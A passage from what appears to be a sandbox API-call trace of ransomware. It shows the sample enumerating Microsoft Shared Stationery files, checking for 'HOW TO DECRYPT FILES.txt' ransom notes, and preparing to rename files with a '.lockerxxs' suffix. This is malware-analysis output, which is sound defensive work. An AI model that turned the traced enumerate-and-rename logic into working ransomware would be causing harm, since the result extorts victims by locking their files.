Files\\Microsoft Shared\\Stationery\\Hand Prints.htm." [0058.779] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.lockerxxs" [0058.779] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.782] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0058.782] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.782] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HandPrints.jpg") returned -1 [0058.782] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HandPrints.jpg") returned 1 [0058.782] lstrcmpiA (lpString1="", lpString2="HandPrints.jpg") returned -1 [0058.782] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned="Hand Prints.htm" [0058.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.782] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.782] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.782] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.782] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HandPrints.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" [0058.783] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" [0058.783] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" [0058.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg." [0058.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.lockerxxs" [0058.783] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.783] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0058.783] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.783] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Memo.emf") returned -1 [0058.783] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Memo.emf") returned -1 [0058.783] lstrcmpiA (lpString1="", lpString2="Memo.emf") returned -1 [0058.783] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned="HandPrints.jpg" [0058.783] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.783] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.783] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Memo.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" [0058.784] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0058.784] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.784] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Monet.jpg") returned -1 [0058.784] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Monet.jpg") returned -1 [0058.784] lstrcmpiA (lpString1="", lpString2="Monet.jpg") returned -1 [0058.784] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned="Memo.emf" [0058.784] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.784] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.784] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.784] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.784] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Monet.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" [0058.784] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" [0058.784] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" [0058.784] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg." [0058.784] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.lockerxxs" [0058.784] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.785] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x4f8268, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0058.785] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.785] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Month_Calendar.emf") returned -1 [0058.786] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Month_Calendar.emf") returned -1 [0058.786] lstrcmpiA (lpString1="", lpString2="Month_Calendar.emf") returned -1 [0058.786] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg") returned="Monet.jpg" [0058.786] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.786] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.786] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.786] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.786] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Month_Calendar.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" [0058.786] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0058.786] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.786] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Music.emf") returned -1 [0058.786] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Music.emf") returned -1 [0058.786] lstrcmpiA (lpString1="", lpString2="Music.emf") returned -1 [0058.786] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf") returned="Month_Calendar.emf" [0058.786] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.786] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.786] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.786] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.786] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Music.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" [0058.787] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0058.787] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.787] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Notebook.jpg") returned -1 [0058.787] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Notebook.jpg") returned -1 [0058.787] lstrcmpiA (lpString1="", lpString2="Notebook.jpg") returned -1 [0058.787] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf") returned="Music.emf" [0058.787] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.787] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.787] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.787] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.787] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Notebook.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" [0058.787] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" [0058.787] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" [0058.787] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg." [0058.787] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.lockerxxs" [0058.787] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.789] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0058.789] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Orange Circles.htm") returned -1 [0058.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Orange Circles.htm") returned -1 [0058.789] lstrcmpiA (lpString1="", lpString2="Orange Circles.htm") returned -1 [0058.789] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned="Notebook.jpg" [0058.789] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.789] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.789] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.789] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.789] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Orange Circles.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" [0058.789] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" [0058.789] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" [0058.789] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm." [0058.789] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.lockerxxs" [0058.789] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.789] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x4f8280, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0058.789] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OrangeCircles.jpg") returned -1 [0058.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OrangeCircles.jpg") returned -1 [0058.789] lstrcmpiA (lpString1="", lpString2="OrangeCircles.jpg") returned -1 [0058.789] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned="Orange Circles.htm" [0058.789] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.790] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.790] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.790] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.790] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="OrangeCircles.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft 